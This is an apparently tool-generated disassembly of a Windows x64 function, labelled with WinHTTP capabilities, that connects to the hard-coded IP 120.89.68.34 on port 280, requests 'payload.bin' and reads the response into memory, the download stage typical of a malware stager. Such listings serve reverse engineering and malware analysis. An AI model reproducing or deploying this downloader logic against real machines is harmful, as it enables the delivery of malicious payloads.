Function at 0x140001220
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov r11, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
mov rdi, rcx
xor r13d, r13d
mov qword [rsp + 0x50], r13
xor eax, eax
mov qword [r11 - 0x80], rax
lea ecx, [rax + 8]
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
test rax, rax
je 0x140001273
lea rcx, [rsp + 0x80]
mov qword [rax], rcx
jmp 0x140001276
mov rax, r13
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
jne 0x14000130f
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400012cf
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
jmp 0x140001671
mov r8d, 0x118
xor r9d, r9d
lea rdx, str.120.89.68.34
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
test rax, rax
jne 0x140001382
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x140001342
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
jmp 0x140001671
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.payload.bin
lea rdx, [0x140003318]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r12, rax
test rax, rax
jne 0x140001405
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400013c5
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
jmp 0x140001671
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x14000147b
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000143b
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
jmp 0x140001671
xor edx, edx
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001582
mov dword [rsp + 0xe0], r13d
lea rdx, [rsp + 0xe0]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rsp + 0xe0]
test r11d, r11d
je 0x140001582
movzx ebx, byte [rsp + 0xe0]
mov ecx, r11d
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new___unsigned_long_long_unsigned___int64__
mov rbp, rax
mov r8d, dword [rsp + 0xe0]
xor edx, edx
mov rcx, rax
call sub.MSVCR90.dll_memset
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0xe0]
mov rdx, rbp
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140001550
mov rsi, qword [rsp + 0xa0]
cmp qword [rsp + 0x98], rsi
jbe 0x140001512
call qword [sym.imp.MSVCR90.dll__invalid_parameter_noinfo]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
mov r9d, dword [rsp + 0x40]
add r9, rbp
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x20], bl
mov r8, rbp
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x80]
call fcn.140001930
mov rcx, rbp
call sub.MSVCR90.dll_void___cdecl_operator_delete___void____ptr64_
mov dword [rsp + 0xe0], r13d
lea rdx, [rsp + 0xe0]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r11d, dword [rsp + 0xe0]
test r11d, r11d
jne 0x1400014c0
mov rbp, qword [rsp + 0xa0]
sub rbp, qword [rsp + 0x98]
je 0x140001608
mov rcx, rbp
call qword [sym.imp.MSVCR90.dll_malloc]
mov r13, rax
xor esi, esi
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x98]
sub rcx, rdx
mov rbx, rsi
je 0x1400015fb
nop word [rax + rax]
cmp rbx, rcx
jb 0x1400015d3
call qword [sym.imp.MSVCR90.dll__invalid_parameter_noinfo]
mov rdx, qword [rsp + 0x98]
movzx eax, byte [rbx + rdx]
mov byte [rbx + r13], al
inc esi
inc rbx
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0x98]
sub rcx, rdx
movsxd rax, esi
cmp rax, rcx
jb 0x1400015c0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rbp
xor r13d, r13d
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x140001636
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
mov qword [rsp + 0xa8], r13
mov rcx, qword [rsp + 0x80]
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
lea rcx, [rsp + 0x50]
mov rax, qword [rcx]
mov qword [rdi], rax
mov rax, qword [rcx + 8]
mov qword [rdi + 8], rax
mov rax, rdi
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret